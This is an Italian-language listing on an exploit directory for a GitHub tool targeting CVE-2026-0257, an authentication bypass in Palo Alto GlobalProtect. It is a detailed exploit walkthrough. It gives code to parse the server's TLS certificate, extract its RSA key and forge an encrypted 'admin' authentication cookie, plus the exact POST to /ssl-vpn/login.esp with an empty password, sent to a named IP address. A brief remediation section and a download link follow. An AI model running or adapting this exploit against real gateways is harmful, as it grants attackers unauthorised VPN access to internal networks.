Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-0257 — Palo Alto Networks PAN-OS contiene un bypass di autenticazione causato da falle nel portale e gateway GlobalProtect, consentendo agli attaccanti di stabilire connessioni VPN non autorizzate; lo sfruttamento richiede l'accesso di rete al portale o gateway. | Kitploit
Strumenti/GitHubGitHub/tushargurav28/cve-2026-0257
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza di ReteCrittografiaPenetration TestingAutenticazioneRed Teaming
GitHub
tushargurav28/cve-2026-0257

CVE-2026-0257

Palo Alto Networks PAN-OS contiene un bypass di autenticazione causato da falle nel portale e gateway GlobalProtect, consentendo agli attaccanti di stabilire connessioni VPN non autorizzate; lo sfruttamento richiede l'accesso di rete al portale o gateway.

Vedi Repository
333 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-0257: Bypass di Autenticazione GlobalProtect

Panoramica

Questo exploit consente l'accesso VPN non autenticato a un gateway/portale Palo Alto GlobalProtect forgiando un cookie di autenticazione utilizzando esclusivamente il certificato TLS pubblicamente disponibile del server.


La Vulnerabilità Principale (Perché Funziona)

GlobalProtect utilizza un cookie pre-autenticazione (portal-userauthcookie) per consentire ai client di autenticarsi. Ecco il difetto fatale:

root@kitploit:~
Flusso Normale:
  1. Il client si autentica (nome utente + password)
  2. Il server genera un cookie → lo crittografa con la chiave PUBBLICA RSA del server
  3. Il client memorizza il cookie crittografato
  4. Alla riconnessione, il client invia il cookie → il server lo decifra con la chiave PRIVATA → lo considera attendibile

Il Bug:
  Il server CONTROLLA SOLO se il cookie viene decifrato correttamente con la sua chiave privata.
  NON verifica CHI lo ha crittografato o se il contenuto in chiaro è legittimo.

Poiché la chiave pubblica RSA è incorporata nel certificato TLS del server (accessibile pubblicamente a chiunque si connetta), qualsiasi attaccante può:

  1. Acquisire la chiave pubblica dal certificato TLS
  2. Forgiare un cookie con qualsiasi nome utente
  3. Crittografarlo con la chiave pubblica
  4. Inviarlo al server → il server lo decifra → lo accetta come valido

Questo è un difetto classico di autenticazione compromessa — l'uso della crittografia dove era necessaria una firma digitale o un HMAC.


La Catena dell'Exploit (5 Passaggi)

root@kitploit:~
flowchart TD
    A["Passo 1: Connessione TCP Raw"] --> B["Passo 2: Inviare ClientHello TLS Personalizzato"]
    B --> C["Passo 3: Analizzare ServerHello → Estrarre Certificati DER"]
    C --> D["Passo 4: Navigare ASN.1 per Estrarre Chiave Pubblica RSA"]
    D --> E["Passo 5: Forgiare Cookie Crittografato PKCS#1 v1.5"]
    E --> F["Passo 6: POST verso /ssl-vpn/login.esp"]
    F --> G{"Il Server Decifra il Cookie"}
    G -->|"Testo in chiaro valido"| H[" Bypass di Autenticazione — Accesso VPN concesso"]
    G -->|"Non valido"| I[" Rifiutato"]

Passo 1: Costruire un ClientHello TLS Raw

Perché raw? Abbiamo bisogno del certificato del server in formato DER (binario raw). Il modulo ssl di Python completa l'intero handshake TLS internamente e non espone i byte raw del certificato allo stesso modo. Effettuando una connessione TCP raw e inviando un ClientHello costruito a mano, possiamo intercettare la risposta del server a livello di byte.

Formato Wire

Un record TLS si presenta così:

root@kitploit:~
┌──────────────────────────────────────────────────┐
│ Intestazione Record TLS (5 byte)                 │
│ ┌──────┬──────────┬────────────┐                 │
│ │ Tipo │ Versione │  Lunghezza │                 │
│ │ 0x16 │ 0x03 01  │  2 byte    │                 │
│ │(Hshk)│(TLS 1.0) │            │                 │
│ └──────┴──────────┴────────────┘                 │
│                                                  │
│ Messaggio Handshake                              │
│ ┌──────┬────────────┬─────────────────────────┐  │
│ │ Tipo │ Lunghezza  │      Corpo              │  │
│ │ 0x01 │  3 byte    │  (ClientHello)          │  │
│ │(CHlo)│            │                         │  │
│ └──────┴────────────┴─────────────────────────┘  │
└──────────────────────────────────────────────────┘

Codice: build_hello()

Il corpo del ClientHello contiene:

CampoValoreScopo
Versione0x03 0x03 (TLS 1.2)Dire al server che parliamo TLS 1.2
Random4 byte timestamp + 28 byte casualiNonce per l'handshake
Session ID0x00 (vuoto)Nessuna ripresa di sessione
Cipher Suites9 suite incluse TLS_RSA_WITH_AES_128_CBC_SHAChiave: includiamo cifrature solo RSA per forzare il server a usare il suo certificato RSA
Compressione0x00 (nessuna)Richiesto

Estensioni incluse:

EstensioneIDScopo
SNI (Server Name Indication)0x0000Dire al server a quale hostname ci stiamo connettendo
Signature Algorithms0x000DAnnunciare quali algoritmi di firma supportiamo
Supported Groups0x000ACurve EC supportate (P-256, P-384, P-521)
EC Point Formats0x000BPunti EC non compressi

[!NOTE] Le suite di cifratura includono intenzionalmente cifrature di scambio chiave RSA (0x002F = TLS_RSA_WITH_AES_128_CBC_SHA). Questo spinge il server a rispondere con il suo certificato RSA piuttosto che uno ECDSA — cosa fondamentale perché l'exploit funziona solo con RSA.


Passo 2: Ricevere e Analizzare la Risposta del Server

Dopo aver inviato il ClientHello, il server restituisce più record TLS:

root@kitploit:~
Risposta del Server:
  ┌─────────────────┐
  │ ServerHello      │  (tipo handshake 2)
  ├─────────────────┤
  │ Certificate      │  (tipo handshake 11) ← VOGLIO QUESTO
  ├─────────────────┤
  │ ServerKeyExchange│  (tipo handshake 12, opzionale)
  ├─────────────────┤
  │ ServerHelloDone  │  (tipo handshake 14) ← SEGNALE DI STOP
  └─────────────────┘

Codice: parse_certs()

Fase 1 — Rimuovere le intestazioni dei record TLS:

Ogni record TLS ha un'intestazione di 5 byte: [tipo(1)] [versione(2)] [lunghezza(2)]. Il codice scorre tutti i record e, per qualsiasi con tipo == 22 (Handshake), concatena i loro payload:

root@kitploit:~
while i + 5 <= len(data):
    t = data[i]                              # tipo contenuto
    rl = (data[i + 3] << 8) | data[i + 4]   # lunghezza record
    if t == 22:                              # Handshake
        hs.extend(data[i + 5: i + 5 + rl])  # acquisisci payload
    i += 5 + rl                              # prossimo record

Fase 2 — Trovare il messaggio Certificate (tipo 11):

All'interno del flusso dell'handshake, ogni messaggio ha un'intestazione di 4 byte: [tipo(1)] [lunghezza(3)]. Scansioniamo per tipo == 11:

root@kitploit:~
while j + 4 <= len(hs):
    ht = hs[j]                                           # tipo handshake
    hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3]    # lunghezza 3 byte
    if ht == 11:  # Certificate!
        # Analizza l'elenco dei certificati all'interno

Fase 3 — Estrarre singoli certificati DER:

Il messaggio Certificate contiene un elenco di certificati, ciascuno preceduto da una lunghezza di 3 byte:

root@kitploit:~
Corpo del Messaggio Certificate:
┌───────────────────────────────────┐
│ Lunghezza totale certificati (3 byte)      │
├───────────────────────────────────┤
│ Lunghezza Cert 1 (3 byte)           │
│ Dati DER Cert 1 (variabile)       │
├───────────────────────────────────┤
│ Lunghezza Cert 2 (3 byte)           │
│ Dati DER Cert 2 (variabile)       │
├───────────────────────────────────┤
│ ...                               │
└───────────────────────────────────┘

Nel nostro test run, abbiamo ottenuto 3 certificati (certificato foglia, CA intermedia, CA radice).

Codice: has_done()

Questa funzione cerca ServerHelloDone (tipo handshake 14), che ci dice che il server ha finito di inviare e possiamo smettere di leggere.


Passo 3: Analizzare il Certificato X.509 (ASN.1/DER)

I certificati X.509 sono codificati in DER (Distinguished Encoding Rules), un formato binario basato su ASN.1 (Abstract Syntax Notation One).

Formato ASN.1 TLV (Tag-Lunghezza-Valore)

Ogni elemento in DER è:

root@kitploit:~
┌─────┬────────┬───────────────────┐
│ Tag │ Lunghezza │ Valore (payload)   │
│ 1B  │ 1-5B  │ variabile          │
└─────┴────────┴───────────────────┘

Codifica della lunghezza:

  • Se byte < 0x80: lunghezza è quel byte direttamente (forma breve)
  • Se byte ≥ 0x80: i 7 bit bassi = numero di byte successivi che codificano la lunghezza (forma lunga)
root@kitploit:~
# Esempio: byte di lunghezza = 0x82 → altri 2 byte seguono
# Prossimi 2 byte: 0x06 0x4F → lunghezza = 0x064F = 1615 byte

Codice: rd_tl()

root@kitploit:~
def rd_tl(d, p):
    tag = d[p]; p += 1
    length = d[p]; p += 1
    if length & 0x80:                    # forma lunga?
        nb = length & 0x7F              # quanti byte seguono
        length = 0
        for _ in range(nb):
            length = (length << 8) | d[p]
            p += 1
    return {"tag": tag, "len": length, "pos": p}  # pos = inizio valore

Struttura del Certificato X.509

root@kitploit:~
Certificate ::= SEQUENCE {              ← tag 0x30
  tbsCertificate SEQUENCE {              ← tag 0x30
    version      [0] EXPLICIT            ← tag 0xA0 (opzionale)
    serialNumber INTEGER                 ← tag 0x02
    signature    SEQUENCE (AlgorithmID)  ← tag 0x30
    issuer       SEQUENCE                ← tag 0x30
    validity     SEQUENCE                ← tag 0x30
    subject      SEQUENCE                ← tag 0x30
    subjectPublicKeyInfo SEQUENCE {      ← tag 0x30  ★ VOGLIAMO QUESTO ★
      algorithm SEQUENCE {               ← tag 0x30
        algorithm OID                    ← tag 0x06
        parameters (opzionale)
      }
      subjectPublicKey BIT STRING {      ← tag 0x03
        RSAPublicKey SEQUENCE {          ← tag 0x30
          modulus    INTEGER             ← tag 0x02  ★ n ★
          exponent   INTEGER             ← tag 0x02  ★ e ★
        }
      }
    }
    ...
  }
  ...
}

Codice: get_rsa_key()

La funzione naviga l'albero DER leggendo tag+lunghezza e saltando i campi non necessari:

root@kitploit:~
# Entra nella SEQUENCE esterna (Certificate)
r = rd_tl(der, 0)            # → SEQUENCE
# Entra nella SEQUENCE tbsCertificate
r = rd_tl(der, p)            # → SEQUENCE
# Controlla il tag versione opzionale
r = rd_tl(der, p)
if r["tag"] == 0xA0:         # campo versione presente → saltalo
    p = r["pos"] + r["len"]
    r = rd_tl(der, p)

# Salta: serial → sigAlg → issuer → validity → subject
# (leggi ogni TLV e salta oltre)

# ORA siamo a subjectPublicKeyInfo
# Leggi l'AlgorithmIdentifier → controlla se OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
#          ↑ Questo è 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
    return None  # Non RSA (probabilmente ECDSA)

# Leggi il BIT STRING → salta 1 byte (indicatore bit non utilizzati)
# Leggi la SEQUENCE interna → estrai modulus (n) e exponent (e)

Dettaglio importante — byte zero iniziale nel modulus:

root@kitploit:~
if der[ms] == 0 and ml > 1:
    ms += 1    # rimuovi 0x00 iniziale
    ml -= 1

DER codifica interi come con segno. Se il bit più alto del modulus è 1, viene anteposto un byte 0x00 per mantenerlo positivo. Lo rimuoviamo perché abbiamo bisogno del valore non firmato grezzo.

Per il nostro target: modulus = 2048 bit (256 byte), exponent = 65537 (0x10001)


Passo 4: Forgiare il Cookie di Autenticazione (PKCS#1 v1.5)

Questo è il cuore dell'exploit.

Cosa Contiene il Cookie

Il formato del cookie in chiaro è:

root@kitploit:~
admin;;Windows;;1748928001;0.0.0.0
  │        │        │        │
  │        │        │        └── IP client
  │        │        └── Timestamp Unix
  │        └── Identificatore OS
  └── Nome utente (scegliamo "admin")

Padding di Crittografia PKCS#1 v1.5 (Tipo 2)

Prima della crittografia RSA, il testo in chiaro deve essere riempito fino alla dimensione della chiave (256 byte per RSA 2048 bit):

root@kitploit:~
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Padding casuale non nullo │ 0x00 │ Messaggio in chiaro │
│      │      │ (≥ 8 byte)              │      │                     │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
  1B     1B      byte di padLen              1B      byte del messaggio

Totale = 256 byte (= dimensione chiave)

Codice: forge()

root@kitploit:~
def forge(n, e, kl, username):
    ts = str(int(time.time()))
    pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")

    pad_len = kl - len(pt) - 3    # 3 = 0x00 + 0x02 + 0x00 separatore
    if pad_len < 8:                # PKCS#1 richiede ≥ 8 byte di padding
        return ""

    em = bytearray([0x00, 0x02])   # Intestazione padding Tipo 2
    for _ in range(pad_len):
        em.append(random.randint(1, 255))  # byte casuali non nulli!
    em.append(0x00)                # separatore
    cat(em, pt)                    # aggiungi testo in chiaro

    # Crittografia RSA: ciphertext = em^e mod n
    return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))

La matematica RSA:

root@kitploit:~
ciphertext = plaintext^e mod n

Dove:
  plaintext = il messaggio riempito come intero grande (256 byte → ~2048 bit)
  e = 65537 (esponente pubblico)
  n = il modulus a 2048 bit dal certificato

[!IMPORTANT] Questo funziona perché la crittografia RSA utilizza la chiave pubblica (n, e), che chiunque può ottenere dal certificato TLS. Il server lo decifrerà con la sua chiave privata (n, d) e recupererà il testo in chiaro — admin;;Windows;;timestamp;0.0.0.0.

Il server considera quindi questo testo in chiaro ciecamente — non verifica mai che il cookie sia stato emesso legittimamente da sé stesso.


Passo 5: Inviare il Cookie Forgiato all'Endpoint di Login

Codice: test_cookie()

Il cookie forgiato viene inviato come POST HTTPS standard all'endpoint di login di GlobalProtect:

root@kitploit:~
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close

prot=https
&server=1.255.199.2
&user=admin
&passwd=                          ← vuoto! nessuna password necessaria
&context=gateway                  ← o "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=

[!NOTE] Il campo passwd è vuoto. Il server non controlla affatto la password — si basa interamente sul portal-userauthcookie per l'autenticazione.

L'exploit testa due endpoint:

  1. Gateway (context=gateway): Accesso diretto al tunnel VPN
  2. Portal (context=portal): Accesso alla configurazione del portale

Rilevamento del Successo

root@kitploit:~
def is_gateway_success(resp, user):
    # Controlla HTTP 200
    # Controlla <status>Success</status> nel corpo XML
    # OPPURE tag <argument> contenente il nome utente

Passo 6: Cosa Succede dal Lato Server

root@kitploit:~
sequenceDiagram
    participant A as Attaccante
    participant GP as Server GlobalProtect

    A->>GP: Connessione TCP (porta 443)
    A->>GP: ClientHello TLS Raw (costruito a mano)
    GP->>A: ServerHello + Certificate (contiene chiave pubblica RSA)
    GP->>A: ServerHelloDone
    Note over A: Estrae chiave pubblica RSA (n, e) dal certificato
    Note over A: Forgia cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
    A->>GP: POST /ssl-vpn/login.esp (su TLS)
    Note over GP: Riceve portal-userauthcookie
    Note over GP: Decifra con chiave privata RSA
    Note over GP: Ottiene "admin;;Windows;;ts;0.0.0.0"
    Note over GP: ⚠️ Si fida ciecamente — nessun controllo di firma!
    GP->>A: HTTP 200 OK + <status>Success</status>
    Note over A: 🎉 Accesso VPN completo come "admin"

Perché Questo è un Bug Devastante

AspettoImpatto
Nessuna credenziale necessariaLa chiave pubblica è letteralmente pubblica — chiunque si connetta la ottiene
Nessuna forza brutaSingola richiesta per tentativo, ha sempre successo su server vulnerabili
Pre-autenticazioneSfruttabile prima di qualsiasi login — nessuna sessione esistente necessaria
Impersonazione utenteL'attaccante sceglie qualsiasi nome utente (admin, CEO, ecc.)
Accesso VPN completoUna volta autenticato, l'attaccante è nella rete interna
Nessun log di fallimento passwordPoiché l'autenticazione avviene tramite cookie, gli allarmi di password fallita non si attivano

La Soluzione (Cosa Dovrebbe Fare Palo Alto)

Il problema fondamentale è l'uso della crittografia per l'autenticazione. Gli approcci corretti:

  1. Firme Digitali: Il server dovrebbe firmare il cookie con la sua chiave privata, non decifrare uno crittografato. Poi verificare la firma alla ri-autenticazione.

  2. HMAC: Utilizzare una chiave segreta lato server per HMAC del payload del cookie. Solo il server conosce il segreto, quindi i cookie non possono essere contraffatti.

  3. Token Binding: Associare il cookie alla sessione di autenticazione originale in modo che non possa essere riprodotto da un contesto diverso.

root@kitploit:~
Rotto:   cookie = RSA_encrypt(userdata, public_key)   ← chiunque può farlo!
Risolto: cookie = HMAC(server_secret, userdata)        ← solo il server può farlo

Riepilogo: Flusso Dati Completo

root@kitploit:~
1. Connessione TCP al target:443
2. Inviare ClientHello costruito a mano (byte raw su TCP, NON TLS)
3. Ricevere ServerHello + Certificate + ServerHelloDone
4. Analizzare record TLS → estrarre messaggi di handshake
5. Trovare il messaggio Certificate (tipo 11) → estrarre certificati codificati DER
6. Navigare la struttura ASN.1/DER del certificato foglia:
   SEQUENCE → SEQUENCE → [versione] → seriale → sigAlg → issuer → validità → subject
   → subjectPublicKeyInfo → algorithmIdentifier (controllare OID = RSA)
   → BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Costruire testo in chiaro: "admin;;Windows;;1748928001;0.0.0.0"
8. Padding PKCS#1 v1.5: 0x00 0x02 [random≥8] 0x00 [testo in chiaro]
9. Crittografia RSA: ciphertext = padded^e mod n
10. Codifica Base64 → codifica URL
11. POST verso /ssl-vpn/login.esp con cookie forgiato (su TLS corretto)
12. Il server decifra → si fida ciecamente → concede accesso VPN
Scarica lo strumento